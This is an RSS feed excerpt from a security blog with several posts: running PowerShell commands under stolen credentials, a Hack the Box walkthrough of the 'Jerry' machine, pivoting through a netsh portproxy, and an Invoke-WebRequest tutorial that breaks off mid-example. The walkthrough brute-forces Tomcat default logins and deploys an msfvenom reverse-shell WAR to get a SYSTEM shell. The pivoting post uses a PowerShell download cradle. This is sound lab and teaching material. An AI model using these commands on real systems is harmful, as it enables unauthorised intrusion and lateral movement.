&lt;p&gt;Cheers!&lt;/p&gt;</description></item><item><title>Running commands in a specific user context in PowerShell</title><link>https://davidhamann.de/2019/12/08/running-command-different-user-powershell/</link><pubDate>Sun, 08 Dec 2019 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2019/12/08/running-command-different-user-powershell/</guid><description>&lt;p&gt;If you find yourself in a limited cmd shell but have obtained credentials for another user, you can leverage PowerShell&amp;rsquo;s &lt;code&gt;Invoke-Command&lt;/code&gt; cmdlet to execute a script block in the security context of that specific user. This can be helpful in a penetration test setting or CTF.&lt;/p&gt;
&lt;p&gt;One thing to be aware of is that you cannot just pass a user and password string to the &lt;code&gt;-Credential&lt;/code&gt; parameter of &lt;code&gt;Invoke-Command&lt;/code&gt;, but need to create a valid &lt;em&gt;PSCredential&lt;/em&gt; object first.&lt;/p&gt;
&lt;p&gt;While the &lt;code&gt;Get-Credential&lt;/code&gt; cmdlet can give you such an object, it&amp;rsquo;s unlikely that you can get prompted given your current access. To work around this, you can create a PSCredential yourself and pass it to &lt;code&gt;Invoke-Command&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;A fully functional one-liner (here, just reading a file) could look like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;powershell.exe -c &amp;#34;$user=&amp;#39;WORKGROUP\John&amp;#39;; $pass=&amp;#39;password123&amp;#39;; try { Invoke-Command -ScriptBlock { Get-Content C:\Users\John\Desktop\secret.txt } -ComputerName Server123 -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) } catch { echo $_.Exception.Message }&amp;#34; 2&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I like to add a &lt;code&gt;try {} catch {}&lt;/code&gt; and a redirect from of stderr to stdout (&lt;code&gt;2&amp;gt;&amp;amp;1&lt;/code&gt;) to be able to see errors as most limited shells wouldn&amp;rsquo;t give you the stderr output otherwise.&lt;/p&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-5.1"&gt;Invoke-Command&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/convertto-securestring?view=powershell-5.1"&gt;ConvertTo-SecureString&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.pscredential?view=powershellsdk-1.1.0"&gt;System.Management.Automation.PSCredential&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Hack the Box Write-up #1: Jerry</title><link>https://davidhamann.de/2019/12/03/htb-writeup-jerry/</link><pubDate>Tue, 03 Dec 2019 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2019/12/03/htb-writeup-jerry/</guid><description>&lt;p&gt;A while back I signed up for &lt;a href="https://hackthebox.eu"&gt;hackthebox.eu&lt;/a&gt;, but then somehow left the account sitting idle for quite some time as I was busy with work and doing my &lt;a href="https://www.elearnsecurity.com/course/penetration_testing/"&gt;eCPPT&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Having finished the PTP course and some free time available, I started to do some of the active machines and yesterday – after getting VIP access – also some of the &amp;ldquo;retired&amp;rdquo; boxes.&lt;/p&gt;
&lt;p&gt;As posting write-ups for retired machines is &amp;ldquo;fair game&amp;rdquo;, I thought I&amp;rsquo;d start a blog series of walk-throughs.&lt;/p&gt;
&lt;p&gt;Today I start with &amp;ldquo;Jerry&amp;rdquo; as an easy first box.&lt;/p&gt;
&lt;h2 id="enumeration"&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;As a first step let&amp;rsquo;s scan the target with nmap. The options I include are -sV for version detection, -sC for default scripts and -oN for saving the results in nmap format. This will scan the 1000 most common ports, run scripts and perform version enumeration (we&amp;rsquo;ll se a lot more of nmap in future write-ups).&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ nmap -sV -sC -oN nmap/init 10.10.10.95

PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can see from the nmap script results that there&amp;rsquo;s a tomcat instance running on port 8080.&lt;/p&gt;
&lt;p&gt;Manually visiting http://10.10.10.95:8080, we confirm that it is indeed the default Tomcat start page.&lt;/p&gt;
&lt;p&gt;Clicking on the &amp;ldquo;Manager App&amp;rdquo;, we quickly realize that we need some credentials, though.&lt;/p&gt;
&lt;p&gt;A search for known vulnerabilties and exploits for this Tomcat version does not result in anything useful. So, ater trying a couple of default credentials manually, we can turn to a brute-forcing tool to test more default credentials faster. Let&amp;rsquo;s use &lt;a href="https://github.com/lanjelot/patator"&gt;patator&lt;/a&gt; this time.&lt;/p&gt;
&lt;p&gt;An app-specific dictionary can be found in &lt;a href="https://github.com/danielmiessler/SecLists"&gt;SecLists&lt;/a&gt; (&lt;code&gt;Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt&lt;/code&gt;).&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ patator http_fuzz url=http://10.10.10.95:8080/manager/html user_pass=COMBO00:COMBO01 0=/usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt -x ignore:code=401 -x ignore:code=403

16:31:35 patator INFO - code size:clen time | candidate | num | mesg
16:31:35 patator INFO - -----------------------------------------------------------------------------
16:31:36 patator INFO - 200 19262:-1 0.062 | tomcat:s3cret | 73 | HTTP/1.1 200 OK
16:31:36 patator INFO - 200 19262:-1 0.061 | tomcat:s3cret | 74 | HTTP/1.1 200 OK
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;tomcat&lt;/code&gt; and &lt;code&gt;s3cret&lt;/code&gt; it is! That was fast.&lt;/p&gt;
&lt;h2 id="exploitation"&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;Using the discovered credentials, we can access the &amp;ldquo;Manager App&amp;rdquo; at http://10.10.10.95:8080/manager/html.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Tomcat Manager App" loading="lazy" src="https://davidhamann.de/images/jerry-tomcat-manager.png"&gt;&lt;/p&gt;
&lt;p&gt;The app allows us to deploy our own web application as a &lt;a href="https://en.wikipedia.org/wiki/WAR_%28file_format%29"&gt;WAR&lt;/a&gt; file, making it easy to get code execution on the remote system.&lt;/p&gt;
&lt;p&gt;We could now manually create the WAR archive or use a generator. I will use &lt;code&gt;msfvenom&lt;/code&gt; in this case and choose an unstaged java reverse tcp payload. You could also go with the regular staged meterpreter payload if you&amp;rsquo;d like a smaller payload and use all the advantages meterpreter gives you.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.19 LPORT=9090 -f war -o shell.war
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After generating our &lt;code&gt;shell.war&lt;/code&gt;, we deploy it (upload) using the &amp;ldquo;Manager App&amp;rdquo; and start a netcat listener on our machine:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nc -lvnp 9090
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Opening &lt;code&gt;http://10.10.10.95:8080/shell/&lt;/code&gt; we can now trigger our payload and will be greeted with a shell.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Ncat: Listening on :::9090
Ncat: Listening on 0.0.0.0:9090
Ncat: Connection from 10.10.10.95.
Ncat: Connection from 10.10.10.95:49193.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\apache-tomcat-7.0.88&amp;gt;whoami
whoami
nt authority\system
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As you can see, we&amp;rsquo;re immediately SYSTEM and don&amp;rsquo;t need any more privilege escalation.&lt;/p&gt;</description></item><item><title>Pivoting: Setting up a port proxy with netsh on Windows</title><link>https://davidhamann.de/2019/06/20/setting-up-portproxy-netsh/</link><pubDate>Thu, 20 Jun 2019 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2019/06/20/setting-up-portproxy-netsh/</guid><description>&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: Pivot by setting up a portproxy between your machine and a machine in another network using &lt;code&gt;netsh interface portproxy add v4tov4 listenport=&amp;lt;port in&amp;gt; connectport=&amp;lt;port out&amp;gt; connectaddress=&amp;lt;destination&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;img alt="netsh splash" loading="lazy" src="https://davidhamann.de/images/netsh-splash.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s say machine A has access to a Windows machine, B, which has an additional interface configured to reach machines in another (internal) network, including machine C. As our machine A cannot directly talk to machine C and vice versa, what can we do to pick up files hosted on our machine A from machine C, or do further reconnaissance of C from A?&lt;/p&gt;
&lt;p&gt;One quick and easy way is to configure a &amp;ldquo;portproxy&amp;rdquo; on machine B, which listens on a specified port and sends incoming traffic on to machine C or A (depending on the use case). Let&amp;rsquo;s have a look on how to do that for an IPv4 to IPv4 configuration.&lt;/p&gt;
&lt;p&gt;For this example we have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A at 192.168.1.2&lt;/li&gt;
&lt;li&gt;B at 192.168.1.3 and 10.10.10.3&lt;/li&gt;
&lt;li&gt;C at 10.10.10.4&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="setup-on-machine-b"&gt;Setup on machine B&lt;/h2&gt;
&lt;p&gt;On machine B, execute the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;netsh interface portproxy add v4tov4 listenport=1337 connectport=8000 connectaddress=192.168.1.2
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, we are setting up a portproxy that will listen on port 1337 and send the received data to the &lt;code&gt;connectaddress&lt;/code&gt; (A) on port &lt;code&gt;8000&lt;/code&gt;. This is done via a separate TCP connection, as you can observe via Wireshark.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s verify the setting looks good with &lt;code&gt;netsh interface portproxy show v4tov4&lt;/code&gt;.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Listen on IPv4: Connect to IPv4:

Address Port Address Port
--------------- ---------- --------------- ----------
* 1337 192.168.1.2 8000
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note that the portproxy config will be stored in the registry, so this is the place where you can detect persistent portproxies without using netsh.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp

*/1337 : 192.168.1.2/8000
...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To be able to try it out, let&amp;rsquo;s poke a hole into our firewall (still on B):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;netsh advfirewall firewall add rule name=&amp;#34;Proxy all the things&amp;#34; dir=in action=allow protocol=TCP localport=1337
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="setup-on-machine-a-for-hosting"&gt;Setup on machine A for hosting&lt;/h2&gt;
&lt;p&gt;On our machine A we will now start a webserver and host a file:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;python3 -m http.server 8000&lt;/code&gt; in a directory with a &lt;code&gt;test.txt&lt;/code&gt; containing &lt;code&gt;Hello from A&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="fetch-from-machine-c"&gt;Fetch from machine C&lt;/h2&gt;
&lt;p&gt;On our machine C let&amp;rsquo;s write up a short download cradle to fetch and then output the file&amp;rsquo;s content from machine A:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;powershell.exe -c echo (New-Object Net.WebClient).DownloadString(&amp;#39;http://10.10.10.3:1337/test.txt&amp;#39;)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Machine C will now reach out to B (10.10.10.3) on port 1337, which will reach out to A on port 8000 to fetch &lt;code&gt;test.txt&lt;/code&gt;. We can see a hit from 192.168.1.3 in our Python webserver console and the results of &lt;code&gt;test.txt&lt;/code&gt; printed on machine C.&lt;/p&gt;
&lt;p&gt;Naturally, this also works in the other direction (A reaching C through B). Just set up the the right &lt;code&gt;connectaddress&lt;/code&gt; and &lt;code&gt;connectport&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To remove the portproxy, you can use &lt;code&gt;delete v4tov4&lt;/code&gt; like so:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;netsh interface portproxy delete v4tov4 listenport=1337
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And to remove the firewall rule again:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;netsh advfirewall firewall delete rule name=&amp;#34;Proxy all the things&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;div class="notice notice-info"&gt;
 Note that you may get a deprecation warning when using &lt;code&gt;netsh&lt;/code&gt; on modern systems. Unfortunately, I haven&amp;rsquo;t found a simple way/Cmdlet to setup a portproxy in PowerShell. Do you know how? Please let me know.
&lt;/div&gt;
</description></item><item><title>HTTP requests with PowerShell's Invoke-WebRequest – by Example</title><link>https://davidhamann.de/2019/04/12/powershell-invoke-webrequest-by-example/</link><pubDate>Fri, 12 Apr 2019 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2019/04/12/powershell-invoke-webrequest-by-example/</guid><description>&lt;p&gt;If you ever find yourself on a Windows system needing to make a HTTP request, the &lt;code&gt;Invoke-WebRequest&lt;/code&gt; cmdlet will be your friend.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s have a look on how to send various things with &lt;code&gt;iwr&lt;/code&gt; (legit alias!) and how to get around common issues. We will be focussing on (manually) sending/requesting data, not so much on reading/parsing it.&lt;/p&gt;
&lt;p&gt;In case it&amp;rsquo;s the first time you&amp;rsquo;re using &lt;code&gt;Invoke-WebRequest&lt;/code&gt; or doing stuff with PowerShell in general, I recommend reading this post sequentially from top to bottom.&lt;/p&gt;
&lt;p&gt;I will be using PowerShell 5.1 for this article. You can find your version with &lt;code&gt;$PSVersionTable&lt;/code&gt;. As destination we will use several HTTP endpoints from &lt;a href="https://httpbin.org"&gt;httpbin.org&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="a-simple-first-request"&gt;A simple first request&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Invoke-WebRequest&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//&lt;/span&gt;&lt;span class="n"&gt;httpbin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Staying with the defaults, this command will translate to the following request:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;GET /json HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; de-DE) WindowsPowerShell/5.1.17763.316
Host: httpbin.org
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;What we get back is a &lt;em&gt;HtmlWebResponseObject&lt;/em&gt; in a nicely formatted way, displaying everything from (parts) of the body, response headers, length, etc.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s store the response in a variable to be able to access the individual parts:&lt;/p&gt;
&lt;h2 id="accessing-parts-of-the-response"&gt;Accessing parts of the response&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$r&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Invoke-WebRequest&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//&lt;/span&gt;&lt;span class="n"&gt;httpbin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;StatusCode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;200&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Headers&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Key&lt;/span&gt; &lt;span class="n"&gt;Value&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;---&lt;/span&gt; &lt;span class="p"&gt;-----&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Access-Control&lt;/span&gt;&lt;span class="n"&gt;-Allow-Credentials&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Access-Control&lt;/span&gt;&lt;span class="n"&gt;-Allow-Origin&lt;/span&gt; &lt;span class="p"&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Connection&lt;/span&gt; &lt;span class="nb"&gt;keep-alive&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Content-Length&lt;/span&gt; &lt;span class="mf"&gt;429&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Content-Type&lt;/span&gt; &lt;span class="n"&gt;application&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Date&lt;/span&gt; &lt;span class="n"&gt;Wed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;10&lt;/span&gt; &lt;span class="n"&gt;Apr&lt;/span&gt; &lt;span class="mf"&gt;2019&lt;/span&gt; &lt;span class="mf"&gt;20&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;33&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;00&lt;/span&gt; &lt;span class="n"&gt;GMT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Server&lt;/span&gt; &lt;span class="n"&gt;nginx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The content can be accessed with &lt;code&gt;$r.Content&lt;/code&gt;. If we want to see what actually came back and was being parsed, we can use &lt;code&gt;$r.RawContent&lt;/code&gt;. And, as we can redirect outputs just like in any other shell, we could store the response like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$r.RawContent &amp;gt; C:\My\Path\to\file.txt
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="setting-request-headers"&gt;Setting request headers&lt;/h2&gt;
&lt;p&gt;Custom request headers can be set by passing a hash table to &lt;em&gt;Invoke-WebRequest&lt;/em&gt;&amp;rsquo;s &lt;code&gt;-Headers&lt;/code&gt; option. The syntax for creating a hash table is as follows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="vm"&gt;@&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;;&lt;/span&gt; &lt;span class="p"&gt;[&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;...}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s make a new request and add some custom headers. We&amp;rsquo;ll also start using the alias &lt;code&gt;iwr&lt;/code&gt; from now on to safe some typing.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 &lt;strong&gt;Tip:&lt;/strong&gt; A list of aliases for a cmdlet can be retrieved with &lt;code&gt;Get-Alias -Definition &amp;lt;cmdlet&amp;gt;&lt;/code&gt;, in our case &lt;code&gt;Get-Alias -Definition Invoke-WebRequest&lt;/code&gt;.
&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$r&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;iwr &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//&lt;/span&gt;&lt;span class="n"&gt;httpbin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="p"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;-Headers&lt;/span&gt; &lt;span class="vm"&gt;@&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Accept&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;application/json&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;X-My-Header&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Hello World&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will produce something like:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;GET /headers HTTP/1.1
X-My-Header: Hello World
Accept: application/json
...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note that if you want to set cookies, you should do so with &lt;code&gt;Invoke-WebRequest&lt;/code&gt;&amp;rsquo;s &lt;code&gt;-WebSession&lt;/code&gt; option (see below). Manually including a &lt;em&gt;Cookie&lt;/em&gt; HTTP header will not work. The same applies, &lt;a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-5.1"&gt;according to the docs&lt;/a&gt;, to the user agent, which should only be set via the &lt;code&gt;-UserAgent&lt;/code&gt; option, not via &lt;code&gt;-Headers&lt;/code&gt; (in practice, I had no issues setting it via &lt;code&gt;-Headers&lt;/code&gt;, though).&lt;/p&gt;
&lt;h3 id="debugging-request-headers"&gt;Debugging request headers&lt;/h3&gt;
&lt;p&gt;Debugging the request headers can be done with a service like &lt;a href="https://httpbin.org"&gt;httpbin.org&lt;/a&gt; (httpbin.org/headers) or simply by sniffing the traffic (e.g. with Wireshark) while making the request. Unfortunately, I am not aware of any way inside PowerShell to retrieve the headers that were actually sent.&lt;/p&gt;
&lt;h2 id="sending-data-and-setting-the-content-type"&gt;Sending data and setting the content type&lt;/h2&gt;
&lt;p&gt;To give our request a body, we can either use the &lt;code&gt;-Body&lt;/code&gt; option, the &lt;code&gt;-InFile&lt;/code&gt; option or use a pipeline. For these examples we will do a &lt;em&gt;POST&lt;/em&gt; request, so use &lt;code&gt;-Method 'POST'&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Before actually sending data, let&amp;rsquo;s talk about the content type. If you do a &lt;em&gt;POST&lt;/em&gt; request, but neither specify a Content-Type header nor use the &lt;code&gt;-ContentType&lt;/code&gt; option, Invoke-WebRequest will automatically set the content type to &lt;code&gt;application/x-www-form-urlencoded&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;More gotchas: when you &lt;em&gt;do&lt;/em&gt; set a Content-Type header via &lt;code&gt;-Headers&lt;/code&gt;, say &lt;code&gt;application/json; charset=utf8&lt;/code&gt; and then pipe a utf8 file to &lt;code&gt;iwr&lt;/code&gt; like so&amp;hellip;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$r&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Get-Content&lt;/span&gt; &lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;txt&lt;/span&gt; &lt;span class="n"&gt;-ReadCount&lt;/span&gt; &lt;span class="mf"&gt;0&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="p"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;iwr &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//&lt;/span&gt;&lt;span class="n"&gt;httpbin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt; &lt;span class="p"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;-Method&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;POST&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;-Headers&lt;/span&gt; &lt;span class="vm"&gt;@&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Content-Type&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;application/json; charset=utf-8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&amp;hellip; you may not actually send what you expect, as &lt;code&gt;iwr&lt;/code&gt; will not read the piped data as utf8.&lt;/p&gt;
&lt;p&gt;Depending on the encoding, you may send something like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;{ &amp;#34;umlauts&amp;#34;: &amp;#34;äüö&amp;#34; }
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As something like this (ISO-8859-1):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;7b 20 22 75 6d 6c 61 75 74 73 22 3a 20 22 e4 fc f6 22 20 7d
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Instead of like this (UTF-8):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;7b 20 22 75 6d 6c 61 75 74 73 22 3a 20 22 c3 a4 c3 bc c3 b6 22 20 7d
